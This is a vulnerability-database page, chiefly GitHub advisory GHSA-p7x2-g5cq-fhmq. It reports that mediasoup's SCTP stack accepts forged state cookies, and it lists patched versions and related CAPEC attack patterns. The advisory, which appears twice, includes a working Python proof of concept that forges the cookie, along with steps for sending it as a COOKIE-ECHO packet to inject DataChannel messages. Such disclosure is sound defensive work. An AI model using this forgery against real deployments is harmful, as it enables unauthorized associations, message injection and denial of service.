  "id": "GHSA-p7mm-r948-4q3q",
  "modified": "2026-04-16T22:48:46Z",
  "published": "2026-04-16T22:48:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-p7mm-r948-4q3q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Paperclip: Approval decision attribution spoofing via client-controlled `decidedByUserId` in paperclip server"
}

GHSA-P7X2-G5CQ-FHMQ

Vulnerability from github – Published: 2026-08-25 18:17 – Updated: 2026-08-25 18:17
VLAI
Summary
mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)
Details

Summary

mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.

Details

RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in worker/include/RTC/SCTP/association/StateCookie.hpp with the following structure (44 bytes total):

  • Offset 0: Magic1 = "msworker" (hardcoded, 8 bytes)
  • Offset 8: localVerificationTag (4 bytes, attacker-controlled)
  • Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)
  • Offset 16-27: TSN and window fields (attacker-controlled)
  • Offset 28: tieTag (8 bytes, attacker-controlled)
  • Offset 36: NegotiatedCapabilitiesField containing Magic2 = 0xAD81 (hardcoded)

The validation function StateCookie::IsMediasoupStateCookie() in worker/src/RTC/SCTP/association/StateCookie.cpp only checks: 1. bufferLength == 44 2. bytes[0:8] == "msworker" (Magic1, always the same) 3. ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same)

No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header.

When a COOKIE-ECHO is received in Association::HandleReceivedCookieEchoChunk() (without an existing TCB), the sole security check is:

if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())

Because the attacker controls both the SCTP packet header's verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.

Additionally, Association::ValidateReceivedPacket() explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function Packet::ValidateCRC32cChecksum() exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.

This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via srtpCryptoSuite parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. comedia mode (default: false) increases exposure by accepting packets from any source IP.

PoC

Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (srtpCryptoSuite not set). The server's UDP IP:port must be reachable.

The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:

#!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)

Usage: python3 poc_cookie_forge.py
"""
import struct

# Attacker-chosen values -- all arbitrary
LOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field
REMOTE_VT = 0xCAFEBABE
LOCAL_TSN = 1000
REMOTE_TSN = 2000
RWND = 65535
TIE_TAG = 0

# Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)

# Offset 0: Magic1 = "msworker" (0x6D73776F726B6572)
cookie[0:8] = b'msworker'

# Offset 8: localVerificationTag (big-endian)
struct.pack_into('>I', cookie, 8, LOCAL_VT)

# Offset 12: remoteVerificationTag
struct.pack_into('>I', cookie, 12, REMOTE_VT)

# Offset 16: localInitialTsn
struct.pack_into('>I', cookie, 16, LOCAL_TSN)

# Offset 20: remoteInitialTsn
struct.pack_into('>I', cookie, 20, REMOTE_TSN)

# Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack_into('>I', cookie, 24, RWND)

# Offset 28: tieTag (8 bytes)
struct.pack_into('>Q', cookie, 28, TIE_TAG)

# Offset 36: NegotiatedCapabilitiesField
# [36]: reserved = 0
# [37]: bits (ABCD flags) = 0
# [38:40]: Magic2 = 0xAD81 (network byte order)
# [40:42]: max outbound streams
# [42:44]: max inbound streams
cookie[36] = 0       # reserved
cookie[37] = 0       # bits
struct.pack_into('>H', cookie, 38, 0xAD81)   # Magic2
struct.pack_into('>H', cookie, 40, 1024)      # maxOutboundStreams
struct.pack_into('>H', cookie, 42, 1024)      # maxInboundStreams

# Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is_mediasoup_state_cookie(buf):
    if len(buf) != 44:
        return False
    if buf[0:8] != b'msworker':
        return False
    magic2 = struct.unpack('>H', buf[38:40])[0]
    if magic2 != 0xAD81:
        return False
    return True

assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC"

# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()
packet_vt    = LOCAL_VT
cookie_local_vt = struct.unpack('>I', cookie[8:12])[0]
auth_passes = (packet_vt == cookie_local_vt)

print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}")
print(f"SCTP packet verificationTag:    {packet_vt:#010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")

Observed output when run:

=== mediasoup SCTP State Cookie Forgery PoC ===
Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400
IsMediasoupStateCookie(): True
localVerificationTag in cookie: 0xdeadbeef
SCTP packet verificationTag:    0xdeadbeef
HandleReceivedCookieEchoChunk auth check passes: True

Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake
Next step: attacker sends DATA chunks to inject DataChannel messages

To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to LOCAL_VT, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).

Impact

Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when comedia mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.20.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mediasoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "mediasoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:17:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nmediasoup\u0027s built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.\n\n### Details\n\nRFC 9260 Section 5.1.3 states: \"An endpoint MUST use a one-time-use secret key to protect the State Cookie.\" The mediasoup implementation ignores this requirement. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total):\n\n- Offset 0: Magic1 = `\"msworker\"` (hardcoded, 8 bytes)\n- Offset 8: localVerificationTag (4 bytes, attacker-controlled)\n- Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)\n- Offset 16-27: TSN and window fields (attacker-controlled)\n- Offset 28: tieTag (8 bytes, attacker-controlled)\n- Offset 36: NegotiatedCapabilitiesField containing Magic2 = `0xAD81` (hardcoded)\n\nThe validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks:\n1. `bufferLength == 44`\n2. `bytes[0:8] == \"msworker\"` (Magic1, always the same)\n3. `ntohs(bytes[38:40]) == 0xAD81` (Magic2, always the same)\n\nNo HMAC, no per-session secret, no nonce. All \"magic\" values are published constants in the public header.\n\nWhen a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is:\n\n```cpp\nif (receivedPacket-\u003eGetVerificationTag() != cookie-\u003eGetLocalVerificationTag())\n```\n\nBecause the attacker controls both the SCTP packet header\u0027s verification tag field AND the `localVerificationTag` field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.\n\nAdditionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.\n\nThis vulnerability affects `PlainTransport` with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). `WebRtcTransport` is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP.\n\n### PoC\n\nPrerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (`srtpCryptoSuite` not set). The server\u0027s UDP IP:port must be reachable.\n\nThe following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-concept: mediasoup SCTP state cookie forgery\nDemonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.\nRequires: struct (stdlib only)\n\nUsage: python3 poc_cookie_forge.py\n\"\"\"\nimport struct\n\n# Attacker-chosen values -- all arbitrary\nLOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet\u0027s Verification Tag field\nREMOTE_VT = 0xCAFEBABE\nLOCAL_TSN = 1000\nREMOTE_TSN = 2000\nRWND = 65535\nTIE_TAG = 0\n\n# Build a 44-byte state cookie matching mediasoup\u0027s StateCookie layout\ncookie = bytearray(44)\n\n# Offset 0: Magic1 = \"msworker\" (0x6D73776F726B6572)\ncookie[0:8] = b\u0027msworker\u0027\n\n# Offset 8: localVerificationTag (big-endian)\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 8, LOCAL_VT)\n\n# Offset 12: remoteVerificationTag\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 12, REMOTE_VT)\n\n# Offset 16: localInitialTsn\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 16, LOCAL_TSN)\n\n# Offset 20: remoteInitialTsn\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 20, REMOTE_TSN)\n\n# Offset 24: remoteAdvertisedReceiverWindowCredit\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 24, RWND)\n\n# Offset 28: tieTag (8 bytes)\nstruct.pack_into(\u0027\u003eQ\u0027, cookie, 28, TIE_TAG)\n\n# Offset 36: NegotiatedCapabilitiesField\n# [36]: reserved = 0\n# [37]: bits (ABCD flags) = 0\n# [38:40]: Magic2 = 0xAD81 (network byte order)\n# [40:42]: max outbound streams\n# [42:44]: max inbound streams\ncookie[36] = 0       # reserved\ncookie[37] = 0       # bits\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 38, 0xAD81)   # Magic2\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 40, 1024)      # maxOutboundStreams\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 42, 1024)      # maxInboundStreams\n\n# Reproduce StateCookie::IsMediasoupStateCookie() logic:\ndef is_mediasoup_state_cookie(buf):\n    if len(buf) != 44:\n        return False\n    if buf[0:8] != b\u0027msworker\u0027:\n        return False\n    magic2 = struct.unpack(\u0027\u003eH\u0027, buf[38:40])[0]\n    if magic2 != 0xAD81:\n        return False\n    return True\n\nassert is_mediasoup_state_cookie(cookie), \"Cookie rejected - BUG in PoC\"\n\n# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):\n# receivedPacket-\u003eGetVerificationTag() == cookie-\u003eGetLocalVerificationTag()\npacket_vt    = LOCAL_VT\ncookie_local_vt = struct.unpack(\u0027\u003eI\u0027, cookie[8:12])[0]\nauth_passes = (packet_vt == cookie_local_vt)\n\nprint(\"=== mediasoup SCTP State Cookie Forgery PoC ===\")\nprint(f\"Forged cookie (hex): {cookie.hex()}\")\nprint(f\"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}\")\nprint(f\"localVerificationTag in cookie: {cookie_local_vt:#010x}\")\nprint(f\"SCTP packet verificationTag:    {packet_vt:#010x}\")\nprint(f\"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}\")\nprint()\nprint(\"Result: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\")\nprint(\"Next step: attacker sends DATA chunks to inject DataChannel messages\")\n```\n\nObserved output when run:\n\n```\n=== mediasoup SCTP State Cookie Forgery PoC ===\nForged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400\nIsMediasoupStateCookie(): True\nlocalVerificationTag in cookie: 0xdeadbeef\nSCTP packet verificationTag:    0xdeadbeef\nHandleReceivedCookieEchoChunk auth check passes: True\n\nResult: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\nNext step: attacker sends DATA chunks to inject DataChannel messages\n```\n\nTo forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header\u0027s Verification Tag to `LOCAL_VT`, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if `comedia=true`).\n\n### Impact\n\nAny mediasoup deployment using `PlainTransport` with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport\u0027s configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer\u0027s association.",
  "id": "GHSA-p7x2-g5cq-fhmq",
  "modified": "2026-08-25T18:17:21Z",
  "published": "2026-08-25T18:17:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/versatica/mediasoup/security/advisories/GHSA-p7x2-g5cq-fhmq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/versatica/mediasoup/pull/1829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/versatica/mediasoup/commit/9c1a90a8f9206b965e727d134846fb42df4980a7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/versatica/mediasoup"
    },
    {
      "type": "WEB",
      "url": "https://github.com/versatica/mediasoup/releases/tag/3.20.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)"
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-148: Content Spoofing

An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.

CAPEC-218: Spoofing of UDDI/ebXML Messages

An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

CAPEC-701: Browser in the Middle (BiTM)

An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.